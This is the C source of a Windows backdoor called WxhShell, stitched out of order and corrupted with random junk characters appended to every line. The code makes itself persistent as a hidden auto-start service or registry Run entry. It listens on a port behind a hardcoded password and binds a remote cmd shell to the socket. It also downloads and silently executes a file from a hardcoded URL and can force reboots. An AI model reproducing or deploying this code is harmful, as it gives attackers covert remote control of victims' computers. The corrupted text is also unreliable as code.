    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K!{5 [G  
    if(Boot(SHUTDOWN)) Rc$h{0K8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <HoAj"xf  
    else { rnhFqNT:  
    closesocket(wsh); V 2znU  
    ExitThread(0); A=3HO\n5  
    } J%v5d*$.  
    break; ;_JH:}j  
    } jp<VK<s]  
  // 获取shell 6v z1*\:H~  
  case 's': { `7Ug/R<  
    CmdShell(wsh); -zfoRU v  
    closesocket(wsh); _vYzF+  
    ExitThread(0); hY;_/!_  
    break; KsdG(.I+ek  
  }  WR.x&m>  
  // 退出 ,+L KJl  
  case 'x': { SE`l(-tL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *Zkss   
    CloseIt(wsh); Q_P5MLU>  
    break; 9U<Hf32  
    } #}o<v|;  
  // 离开 D1"7s,Hmu  
  case 'q': { 0-xCp ~vE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &4kM8Qh  
    closesocket(wsh); qi=3L  
    WSACleanup(); K3ukYR  
    exit(1); :m`/Q_y"  
    break; DX@}!6|T  
        } 0=[0|`x  
  } ~77 5soN  
  } *SZ>upg  
v]bAWo  
  // 提示信息 a!t V6H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9*_uCPR  
} rSyaZ6#  
  } q|{tQJfYg  
T T"3^@  
  return; D@hmO]5c  
} BX$hAQ(6Q  
&& C~@WY,r  
// shell模块句柄 5Rs?CVVb  
int CmdShell(SOCKET sock) >eo8  
{ AQ}l%  
STARTUPINFO si; M[,^KJ!  
ZeroMemory(&si,sizeof(si)); `u=<c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (46U|P(v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; % +8  
PROCESS_INFORMATION ProcessInfo; z(UX't (q  
char cmdline[]="cmd"; VRhRwdC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I"V3+2e  
  return 0; tJ>d4A;8x  
} ):E'`ZP!F  
}85#[~m'  
// 自身启动模式 &ps6s.K  
int StartFromService(void) yHw!#gWM  
{ qS82/e)7  
typedef struct L&HzN{K  
{ p;ZDpR  
  DWORD ExitStatus; /O"0L/hc^  
  DWORD PebBaseAddress; H2]BMkum  
  DWORD AffinityMask; JOHp?3"4  
  DWORD BasePriority; PDZ)*$EE  
  ULONG UniqueProcessId; nP)-Y#`~7  
  ULONG InheritedFromUniqueProcessId; 1 ' %-y  
}   PROCESS_BASIC_INFORMATION; Y;PDZb K3  
Px#4pmz  
PROCNTQSIP NtQueryInformationProcess; bl9E&B/  
/ GZV_H%v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ko}7$2^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &`5 :G LV  
Ua!Odju*w  
  HANDLE             hProcess; 6KBHRt  
  PROCESS_BASIC_INFORMATION pbi; A'(k Yc  
h@/>?Va  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W.sD2f  
  if(NULL == hInst ) return 0; p!V) 55J*  
ri;r7Y9V9`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ut=0~x.=<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XAGiu;<,=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \!6t  
.;}pU!S~R  
  if (!NtQueryInformationProcess) return 0; m R"9&wq  
C(ZcR_+r$,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JCBnFrP  
  if(!hProcess) return 0; 0honHP  
Xek E#?.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i@%L_[MtA  
|O'Hh7  
  CloseHandle(hProcess); >EyvdX#v  
)z|_*||WU^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;2 \<M 6  
if(hProcess==NULL) return 0; ROcY'-  
W'8J<VBD  
HMODULE hMod; $::51#^Wg  
char procName[255]; S:DcfR=a  
unsigned long cbNeeded; NF@i#:  
c lq <$-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XWJ0=t&}  
9,}fx+^  
  CloseHandle(hProcess); 30:HRF(:  
.kz(V5  
if(strstr(procName,"services")) return 1; // 以服务启动 4j2~"K  
<;.}WQC  
  return 0; // 注册表启动 S;G"L$&\  
} w`2_6[,9  
Ji)%Y5F  
// 主模块 1j_aH#Fz:  
int StartWxhshell(LPSTR lpCmdLine) Sf#\6X<B  
{ z0FR33-  
  SOCKET wsl; \r)_-  
BOOL val=TRUE; fLf#2EA  
  int port=0; KI^q 5D ?  
  struct sockaddr_in door; :cIu?7A  
,=x.aX Spz  
  if(wscfg.ws_autoins) Install(); `K@5_db\  
Jc9@VxWY  
port=atoi(lpCmdLine); F=P+;%.  
@8T Vr2uy  
if(port<=0) port=wscfg.ws_port; fwz5{>ON]  
IX > j8z[  
  WSADATA data; vgd}09y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .je~qo )  
mRix0XBI~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5G dY7t_1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e%5'(V-y,  
  door.sin_family = AF_INET; !]UU;8h~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S:"z<O  
  door.sin_port = htons(port); 3:z4M9f  
;RTrRh0v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l=<F1Lz  
closesocket(wsl); o>QFd x  
return 1; JCQx8;V%I  
} 1GyAQHx,  
H_xQ>~b  
  if(listen(wsl,2) == INVALID_SOCKET) { '/n%}=a=  
closesocket(wsl); Z n"TG/:  
return 1; nATfmUN L  
} O_%PBgcJr  
  Wxhshell(wsl); ._F 6-pl  
  WSACleanup(); C$]%1<-Iv]  
vb80J<4  
return 0; LgD{!  
N";dG 3  
} (qq$y #$  
#xJGuYdv  
// 以NT服务方式启动 6vp8LNSW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z1MJ!{@6  
{ SBYMDKZ  
DWORD   status = 0; u3v6$CD?  
  DWORD   specificError = 0xfffffff; 3T.M?UG>  
_|5FrN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "gl:4|i '  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z2pN<S{5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @{$Cv"6769  
  serviceStatus.dwWin32ExitCode     = 0; H--*[3".  
  serviceStatus.dwServiceSpecificExitCode = 0; 7! A%6  
  serviceStatus.dwCheckPoint       = 0; 9OO_Hp#|9  
  serviceStatus.dwWaitHint       = 0; h1UlLy 8  
gP hw.e""  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $y]||tX  
  if (hServiceStatusHandle==0) return; G:6$P%.  
g  cK"  
status = GetLastError(); tX`[6`  
  if (status!=NO_ERROR)  F>oxnhp6  
{ {J6sM$aj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '|A5a+[  
    serviceStatus.dwCheckPoint       = 0; _)Z7Le:f!  
    serviceStatus.dwWaitHint       = 0; D A)0Y_  
    serviceStatus.dwWin32ExitCode     = status; \eSk7C  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~RLx;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LK-6z w5=(  
    return; zl0:U2x7  
  } sz2SWk^&  
Wj{Rp{}3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2;(iTPz +  
  serviceStatus.dwCheckPoint       = 0; 'V9aB5O&  
  serviceStatus.dwWaitHint       = 0; 6Cv2>'{S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (l!D=qy  
} gW pT:tX-  
08n%% F  
// 处理NT服务事件,比如:启动、停止 U.j\u>a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JE:n`l/p  
{ O> ^~SO  
switch(fdwControl) V-U  ^O45  
{ 4l!Yop0h  
case SERVICE_CONTROL_STOP: f]6` GsE  
  serviceStatus.dwWin32ExitCode = 0; {hq ;7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r-Xe<|w  
  serviceStatus.dwCheckPoint   = 0; {S: 3 FI  
  serviceStatus.dwWaitHint     = 0; o/[yA3^  
  { 8cPf0p:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2?7hUaHX  
  } y#Sw>-zRq  
  return; TKBK3N  
case SERVICE_CONTROL_PAUSE: f(MHU   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *]| JX&  
  break; ez:o9)N4  
case SERVICE_CONTROL_CONTINUE: e%0#"6}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -:p1gg&  
  break; f I-"8f0_  
case SERVICE_CONTROL_INTERROGATE: 0]w[wc <  
  break; pC. 4AkEO  
}; G]DN!7]@g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wQS w&G  
} Y},GZ^zqy  
^^Q32XC,  
// 标准应用程序主函数 T q; "_s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M~Dc5\T  
{ v6Wf7)d/1  
J0mCWtx&  
// 获取操作系统版本 m]}"FMH$  
OsIsNt=GetOsVer(); N$\5%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #_sVB~sn@  
92_H!m/  
  // 从命令行安装 V+ ~2q=  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6}lEeMRW  
OiEaVPSI;  
  // 下载执行文件 a2_IF,p*?  
if(wscfg.ws_downexe) { Ijro;rsEKM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X1qj l_A  
  WinExec(wscfg.ws_filenam,SW_HIDE); .Tqvy)'  
} &L`p4AZ  
%D0Ws9:|  
if(!OsIsNt) { OWfj<#}t+  
// 如果时win9x,隐藏进程并且设置为注册表启动 DOU?e9I2  
HideProc(); 8_$2aqr  
StartWxhshell(lpCmdLine); -^Va]Lk  
} \eN/fTPm  
else 1c~#]6[  
  if(StartFromService()) <$6E r  
  // 以服务方式启动 I _G;;GF  
  StartServiceCtrlDispatcher(DispatchTable); F>R)~;Ja  
else X1D:{S[  
  // 普通方式启动 r_RTtS#  
  StartWxhshell(lpCmdLine); t^;Fq{>  
A8Y~^wn  
return 0; 7)wq9];w  
} {moNtzE;  
,R6$SrNcd  
XKIJ6M~5k  
[6N39G$  
=========================================== ..mz!:Zs0  
tJ=zk3BN~  
>9|+F [Fc  
9DKB+K.1  
?V&a |:N9  
J/2pS  
" sxa (  
"S#hzrEdYI  
#include <stdio.h> SJ@_eir\o  
#include <string.h> F\<i>LWT'  
#include <windows.h> 6* w;xf  
#include <winsock2.h> #oY7v,x\  
#include <winsvc.h> .1}(Bywm5  
#include <urlmon.h> &|*|  
1!#ZEI C  
#pragma comment (lib, "Ws2_32.lib") .?NAq[H%  
#pragma comment (lib, "urlmon.lib") xoaQ5u  
mJT m/C  
#define MAX_USER   100 // 最大客户端连接数 ~=*_I4,+r  
#define BUF_SOCK   200 // sock buffer 7X>3WF  
#define KEY_BUFF   255 // 输入 buffer %)V3QnBO  
+[+ Jd)Z  
#define REBOOT     0   // 重启 `#U6`[[  
#define SHUTDOWN   1   // 关机 :wm^04<i   
p {3|W<  
#define DEF_PORT   5000 // 监听端口 Q5JeL6t  
$i Tgv?.Q  
#define REG_LEN     16   // 注册表键长度 ;'}xD5]  
#define SVC_LEN     80   // NT服务名长度 yD"sYT   
0g\&3EvD  
// 从dll定义API :8g \B{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;k]pq4E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hRu%> =7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Vy $\.2=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,zaveQ~l  
2BY:qz%:  
// wxhshell配置信息 K9=_}lS@'  
struct WSCFG { :QNEA3Q  
  int ws_port;         // 监听端口 DGnswN%n1  
  char ws_passstr[REG_LEN]; // 口令 rOGJ%|%(  
  int ws_autoins;       // 安装标记, 1=yes 0=no \ZB;K~BV&  
  char ws_regname[REG_LEN]; // 注册表键名 Mv3Ch'X[  
  char ws_svcname[REG_LEN]; // 服务名 oCS NA.z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .wywO|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YX(%jcj*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =k z;CS+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gMbvHlT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N INiX(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 57r)&8  
Gex^\gf  
}; <4Fd ~  
I~I%z'"RQd  
// default Wxhshell configuration RfD$@q9  
struct WSCFG wscfg={DEF_PORT, {)M4h?.2  
    "xuhuanlingzhe", +Muyp]_  
    1, ='FEC-f95  
    "Wxhshell", t9}XO M*  
    "Wxhshell", Jc+U$h4  
            "WxhShell Service", j.K yPWO  
    "Wrsky Windows CmdShell Service", :Z)s'd.  
    "Please Input Your Password: ", Smp+}-3O  
  1, >cp9{+#f  
  "http://www.wrsky.com/wxhshell.exe", 1Sy#*  
  "Wxhshell.exe"  <KpQu%2(  
    }; W[jxfZD9v  
 ;"3Mm$  
// 消息定义模块 )I#kG{z|P;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |Yx8Ez  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v7-'H/d.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [|YMnV<B  
char *msg_ws_ext="\n\rExit."; )q,}jeM8  
char *msg_ws_end="\n\rQuit."; 3 R m$  
char *msg_ws_boot="\n\rReboot..."; D7 @10;F}[  
char *msg_ws_poff="\n\rShutdown..."; iw{n|&Y#`  
char *msg_ws_down="\n\rSave to "; VYwaU^  
5^xt/vYa)  
char *msg_ws_err="\n\rErr!"; [Xrq+O,  
char *msg_ws_ok="\n\rOK!"; !"kvXxp^  
>iCMjT]4  
char ExeFile[MAX_PATH]; #O~Y[''C5X  
int nUser = 0; _eF*8 /z  
HANDLE handles[MAX_USER]; 5*CwQJC<  
int OsIsNt; l*eA ?Qz  
;(sb^O  
SERVICE_STATUS       serviceStatus; #yqcUbJY0R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ; ^$RG  
M;E&@[5  
// 函数声明 yP-Dj ,  
int Install(void); myo/}58Nv  
int Uninstall(void); s[g1e i9  
int DownloadFile(char *sURL, SOCKET wsh); m4iR '~L}  
int Boot(int flag); 1vThb  
void HideProc(void); CR/LV]G  
int GetOsVer(void); H0Tt(:.&  
int Wxhshell(SOCKET wsl); RHxd6Gs"  
void TalkWithClient(void *cs); vH=I#Ajar  
int CmdShell(SOCKET sock); ~$@I <=L  
int StartFromService(void); pp:+SoyN  
int StartWxhshell(LPSTR lpCmdLine); 2vwT8/  
>8VJ!Kg4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =}L[/RL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QK72 F  
njIvVs`q  
// 数据结构和表定义 5t PmrWZ  
SERVICE_TABLE_ENTRY DispatchTable[] = N&n{R8=^"  
{ @.5Ybgn  
{wscfg.ws_svcname, NTServiceMain}, >ko;CQR  
{NULL, NULL} 7yc:=^ )  
}; i"b*U5k  
K+7xjFoDIR  
// 自我安装 O-7 \qz  
int Install(void) 0e:aeLh  
{ cz0tnF*&  
  char svExeFile[MAX_PATH]; 5pDxFs=v  
  HKEY key; OS!47Z /q  
  strcpy(svExeFile,ExeFile); X0lIeGwrQ  
w"D"9 G  
// 如果是win9x系统,修改注册表设为自启动 K)k!`du!6  
if(!OsIsNt) { QCjmg5bf'7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9uq| VU5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X@cV']#V  
  RegCloseKey(key); $UH_)Q2#J^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -H]svOX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |[qI2-el?  
  RegCloseKey(key); EH[?*>+s  
  return 0; LWW0lG!_F  
    } z`BRz&  
  } <sPB|5Ak  
} 2Zl65  
else { :s4CWE d  
_[<I&^%  
// 如果是NT以上系统,安装为系统服务 SsaF><{5R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s^AYPmR6  
if (schSCManager!=0) gh~C.>W}q+  
{ Um|:AT}`^  
  SC_HANDLE schService = CreateService zgO?%O  
  ( Lrk^<:8;  
  schSCManager, Z8:iaP)  
  wscfg.ws_svcname, 2Gj&7A3b  
  wscfg.ws_svcdisp, &r_:n t  
  SERVICE_ALL_ACCESS, kt@+UK."  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #)\KV7f! ;  
  SERVICE_AUTO_START,  m.2  
  SERVICE_ERROR_NORMAL, 6h5*b8LxA  
  svExeFile, =]D##R  
  NULL, Fa;CWyt  
  NULL, KsHMAp3  
  NULL, H kg0;)  
  NULL, 2Aff3]-:Gd  
  NULL KLoHjBq  
  ); 1sgoT f%  
  if (schService!=0) o`& idn|,  
  { 3GaM>w}>W  
  CloseServiceHandle(schService); y(q1~73s  
  CloseServiceHandle(schSCManager); ov|s5yH8e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _)p%  
  strcat(svExeFile,wscfg.ws_svcname); r^]0LJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NE/3aU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Kyv$yf 9  
  RegCloseKey(key); uD+;5S]us  
  return 0; H >RGX#|  
    } (+9@j(  
  } 2Qn%p[#n  
  CloseServiceHandle(schSCManager); &gq\e^0CRZ  
} vuD tEz  
} e#08,wgW  
H1q>UU:  
return 1; P$q IB[Xi  
} [t0gXdU 6  
(}}BZ S&.  
// 自我卸载 O-G4^V8  
int Uninstall(void) fa$ Fo(.  
{ /*st,P$"  
  HKEY key; TG'A'wXxy  
qG~O] ($  
if(!OsIsNt) { '?q|7[SU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FCOSgEU  
  RegDeleteValue(key,wscfg.ws_regname); ]x~H"<V  
  RegCloseKey(key); 'os-+m@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;o#dmG  
  RegDeleteValue(key,wscfg.ws_regname); YsLEbue   
  RegCloseKey(key); ZJd1Lx   
  return 0; /SZsXaC '  
  } i9+V<'h  
} tz2`X V{  
} ]W]Vkkg]  
else { 5q" ;R$+j  
, Lhgv1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~,dj)x 3M  
if (schSCManager!=0) \9<aCJxN  
{ 1P&c:n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eBG7]u,Q  
  if (schService!=0) Wrt3p-N"D  
  { evZ{~v& /  
  if(DeleteService(schService)!=0) { ~^:/t<N  
  CloseServiceHandle(schService); N#Y4nllJ  
  CloseServiceHandle(schSCManager); 7@MVInV9  
  return 0; 4RJ8 2yq-  
  } `[7&tOvSk  
  CloseServiceHandle(schService); %I[(`nb  
  } qH$G_R#)8B  
  CloseServiceHandle(schSCManager); TRG"fVR  
} ZA+$ZU^  
} F< Qjoaz  
EzwYqw  
return 1; J7_'@zU  
} `dMl5b  
}8 fG+H.  
// 从指定url下载文件 ,~%Qu~\  
int DownloadFile(char *sURL, SOCKET wsh) @4_W}1W  
{ p%_r0  
  HRESULT hr; ,NPU0IDG>  
char seps[]= "/"; `)!)}PXl  
char *token; E.t9F3  
char *file; _~fO8_vr  
char myURL[MAX_PATH]; kjJ\7x6M  
char myFILE[MAX_PATH]; q^>$YY>F  
_hK7hvM>  
strcpy(myURL,sURL); :/K 'P`JaL  
  token=strtok(myURL,seps); {HlUV33O  
  while(token!=NULL) ~`u?|+*BO  
  { e*:[#LJ]C  
    file=token; _|x%M}O},  
  token=strtok(NULL,seps); ;9/6X#;$  
  } O=G2bdY{,  
YLJH?=2@  
GetCurrentDirectory(MAX_PATH,myFILE); v93+<@Z  
strcat(myFILE, "\\"); -;_NdL@  
strcat(myFILE, file); SG$/v  
  send(wsh,myFILE,strlen(myFILE),0); lKxv SyD  
send(wsh,"...",3,0); rM/*_0[`d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6P3ezl@#;  
  if(hr==S_OK) m{I_E G  
return 0; to(OVg7_  
else 8pg?g'A~}  
return 1; &H-39;?u  
RHz'Dz>0  
} --dGN.*xb4  
e(6g|h  
// 系统电源模块 mv)M9c,`  
int Boot(int flag) PQlG !  
{ JOx75}  
  HANDLE hToken; 1W "9u   
  TOKEN_PRIVILEGES tkp; hJrxb<9@Y0  
69`9!heu  
  if(OsIsNt) { `[C8iF*Y"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I^qk`5w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U^snb6\5  
    tkp.PrivilegeCount = 1; VQ$=F8ivG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "/O0j/lm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OHR9u  
if(flag==REBOOT) { ]j}zN2[A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LGgEq -  
  return 0; {Ejv8UdA9  
} :nd }e  
else { jcYI"f"~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (b GiBsb  
  return 0; |0b$60m$!t  
} VX[{X8PkS  
  } (t&P. N/  
  else { P(VQD>G  
if(flag==REBOOT) { q(\$-Dk.Vv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6T;C+Y$  
  return 0; FwBktuS  
} 3Nsb@0  
else { a`~$6 "v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ni"fV]'  
  return 0; svU107?  
} Rl=NVo  
} H]mY6D51"  
RCND|X  
return 1; qV@xEgW#r  
} oYup*@t  
Yn'XSV|g  
// win9x进程隐藏模块 ]W5s!T_  
void HideProc(void)  sFx $  
{  &j2L- )  
B>o #eW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n?YGX W/  
  if ( hKernel != NULL ) q ^n6"&;*  
  { .Uh-Wi[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &rq7;X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f]J?-ks  
    FreeLibrary(hKernel); nC_<pq^tr  
  } XFG]%y=/6  
YZr^;jfP  
return; 1[} =,uaM  
} yXg783B|v  
M\enjB7k  
// 获取操作系统版本 z]gxkol\  
int GetOsVer(void) ",#rI+ el  
{ !CPv{c`|qg  
  OSVERSIONINFO winfo; 0aQNdi)b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *yiJw\DRN  
  GetVersionEx(&winfo); sOz jViv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G?<L{J2"Q  
  return 1; dm8veKW'l  
  else o! sxfJKl  
  return 0; m-, '  
} Y^2Ma878  
UF D_  
// 客户端句柄模块 wW6?.}2zU  
int Wxhshell(SOCKET wsl) K4,VSy1byI  
{ h&h]z[r R  
  SOCKET wsh; MCz +l0  
  struct sockaddr_in client; V=3NIw18  
  DWORD myID; nFw&vR/q  
Wj8\~B=('  
  while(nUser<MAX_USER) Z TjlGU `  
{ qW;nWfkYC  
  int nSize=sizeof(client); 14s+ &  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b.8HGt<%  
  if(wsh==INVALID_SOCKET) return 1; hCQ{D|/  
P@k ;Lg"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =1VY/sv  
if(handles[nUser]==0) #uuwzE*M_  
  closesocket(wsh); bnB}VRal  
else } ..}]J;To  
  nUser++; r>$jMo.S"  
  } C\$7C5/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H# 2'\0u  
:_)Xe*O  
  return 0; e] **Z,Z  
} _ F@>?\B  
V9B $_j4  
// 关闭 socket (a&.Ad0{  
void CloseIt(SOCKET wsh) &NHIX(b6  
{ m feyR  
closesocket(wsh); Tg{d#U_qB  
nUser--; ~Z.lvdA_5  
ExitThread(0); @@SG0YxZ  
} iOj mj0  
_wZ(%(^I  
// 客户端请求句柄 .'__ [|-{;  
void TalkWithClient(void *cs) Kc{fT^E  
{ 0sV;TQt+f  
AHn^^'&x[  
  SOCKET wsh=(SOCKET)cs; > { fX;l  
  char pwd[SVC_LEN]; oE-i`;\8  
  char cmd[KEY_BUFF]; l~F,i n.  
char chr[1]; ~[k 2(  
int i,j; A4%0  
(Q#A Br8  
  while (nUser < MAX_USER) { D$#=;H ,  
xV<NeU  
if(wscfg.ws_passstr) { PS(LD4mD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K V  4>(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q;>'jHh  
  //ZeroMemory(pwd,KEY_BUFF); ~q-|cl<  
      i=0; ew }C*4qH  
  while(i<SVC_LEN) { G>*s+  
//V?rs  
  // 设置超时 Hr96sN.R   
  fd_set FdRead; Dugr{Y/0  
  struct timeval TimeOut; 33"{"2==`  
  FD_ZERO(&FdRead); If]g6 B.=  
  FD_SET(wsh,&FdRead); a&PoUwG  
  TimeOut.tv_sec=8; o6B!ikz 8  
  TimeOut.tv_usec=0; H'Z[3e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LLaoND6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |iO2,99i  
]<++w;#+x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VPtA %1  
  pwd=chr[0]; `9b D%M  
  if(chr[0]==0xd || chr[0]==0xa) { D/@:wY  
  pwd=0; 4s0>QD$J  
  break; 6j_ A{*~Ng  
  } V `@@ufU}  
  i++; u8-)LOf(  
    } {9'"!fH  
|l7e*$j  
  // 如果是非法用户,关闭 socket b>I -4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }ndH|,  
} .o.@cLdU  
O{SU,"!y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +w GE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s^3t18m&1  
1T!_d&A1o  
while(1) { %# J8cB  
%Cb8vYz~  
  ZeroMemory(cmd,KEY_BUFF); qXP)R/~OZ  
$ZwsTV]x  
      // 自动支持客户端 telnet标准   >.J68 x  
  j=0; dtm_~r7~  
  while(j<KEY_BUFF) { kwZC 3p\\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #r:J,D6*  
  cmd[j]=chr[0]; 'fawpU|h  
  if(chr[0]==0xa || chr[0]==0xd) { !=q {1\#  
  cmd[j]=0;  X-~Q  
  break; G0y%_"[  
  } C=%go1! $  
  j++; NjsP"  
    } @oYTJd(v{  
Gash3}+  
  // 下载文件 -"!V&M  
  if(strstr(cmd,"http://")) { >2>xr"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l<z[)fE{uS  
  if(DownloadFile(cmd,wsh)) b LSI\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q`9~F4\  
  else sOU_j4M{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hiU_r="*ox  
  } ]DC]=F.  
